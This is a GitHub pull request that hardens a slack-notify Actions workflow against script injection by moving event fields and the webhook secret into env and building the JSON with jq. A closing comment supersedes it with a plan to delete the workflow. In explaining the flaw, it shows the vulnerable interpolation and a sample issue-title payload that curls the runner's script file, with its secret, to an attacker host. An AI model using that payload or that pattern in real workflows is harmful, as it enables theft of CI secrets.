fix(ci): harden slack-notify workflow against script injection

[anishamalde]

Summary

The slack-notify.yml workflow had an unauthenticated GitHub Actions script-injection vulnerability. This PR closes it.

What was wrong

The workflow interpolated attacker-controllable fields (github.event.issue.title, github.event.pull_request.title) directly into a run: bash block:

run: |
  TITLE="${{ github.event.issue.title }}"
  ...
  curl -X POST "${{ secrets.SLACK_WEBHOOK_URL }}" ...

GitHub Actions expands ${{ … }} into the script text before bash parses it. That means an issue titled $(curl -sd @$0 https://attacker/) would execute on the runner. Because the same script also had SLACK_WEBHOOK_URL interpolated inline, injected code could read the secret out of the generated script file ($0) and exfiltrate it. No repo access was required to trigger this — just opening an issue.

What this PR changes

• Move every ${{ github.event.* }} field and the webhook secret into env: so bash reads them as data at runtime, not as source text. This removes the injection sink.
• Build the Slack JSON payload with jq -n --arg so quotes, backslashes and newlines in titles are escaped correctly (the hand-rolled JSON in the old version also broke on any title containing a ").
• Pass SLACK_WEBHOOK_URL to curl via env, not shell interpolation, so the secret never appears in the script source.
• Add workflow-level permissions: contents: read for least-privilege on the GITHUB_TOKEN.

Follow-ups (outside this PR)

• Rotate the SLACK_WEBHOOK_URL repository secret. Assume the current value has been exposed and regenerate the webhook in Slack.

Test plan

• Merge to a test branch and open a benign issue to confirm the Slack notification still fires and renders correctly
• Confirm a title containing special characters (e.g. Test "quoted" title with $backtick) sends without breaking the JSON payload
• Confirm the workflow runs for issues, pull_request, and issue_comment events

References

• GitHub Security Lab: Keeping your GitHub Actions and workflows secure — untrusted input

[anishamalde]

Superseding this PR. After discussion, the plan is now to delete this workflow entirely (along with the copies in the other three repos that carry it) and rely on the org-wide weekly triage digest instead. Opening a deletion PR to replace this one.